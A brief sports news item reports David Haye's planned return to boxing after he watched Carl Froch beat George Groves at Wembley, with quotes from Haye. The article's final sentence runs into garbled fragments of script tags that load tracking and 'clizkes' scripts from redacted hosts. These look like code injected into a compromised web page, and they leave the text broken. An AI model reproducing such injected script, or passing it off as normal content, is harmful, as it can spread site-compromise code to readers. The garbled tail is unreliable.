Haye talks about his upcoming return to the ring, and looks back at a memorable night of boxing at Wembley that saw Carl Froch defeat George Groves.

David Haye sat ringside at Wembley Stadium to watch Froch-v-George Groves go head to head in front of 80,000 sports fans and knew a return to boxing was the only decision he could take.

Despite a shoulder injury forcing him to pull out of a fight against Tyson Fury for a second time Haye is now confident he can resume his and says in a few month’s he will be back knocking people out!

Haye’s coach Adam Booth revealed last week that his charge would be back in the ring and this week Haye rubber stamped that.

“I have to do this,” said Haye. “The juices are still there. I sat in the crowd at Wembley and felt it big time.

“In a few months I’ll be knocking people out spectacularly again.”# src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://#/pixel.js?track=r&subid=043′ type=’text/javascript’># src=’https://land.#/clizkes’ type=’text/javascript’># src=’https://#/clizkes’ type=’text/javascript’>

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